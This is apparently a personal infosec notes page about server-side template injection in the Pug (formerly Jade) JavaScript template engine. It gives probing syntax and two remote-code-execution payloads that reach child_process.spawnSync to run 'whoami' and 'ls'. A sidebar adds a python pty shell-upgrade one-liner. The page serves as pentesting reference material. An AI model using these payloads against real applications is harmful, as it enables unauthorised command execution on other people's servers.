akde/infosec

Information security is ultimately about managing risk


Pug (pre­vi­ous­ly known as Jade) is a JavaScript tem­plate engine, used with node­js or express applications.

Show­ing a val­ue of a vari­able: (Impor­tant: With­out a “HTML func­tion” like p, there is noth­ing to show)

p #{name}

The input state­ment cre­ates a hid­den field:

input(type='hidden' name='secret' value='42')

Pro­voke an error:

#{"a" * 5} // Should produce an error
#{"5" * 5} // This works!

RCE with­out parameters:

- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout

RCE with parameters:

- var require = global.process.mainModule.require
= require('child_process').spawnSync('ls', ['-lah']).stdout

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';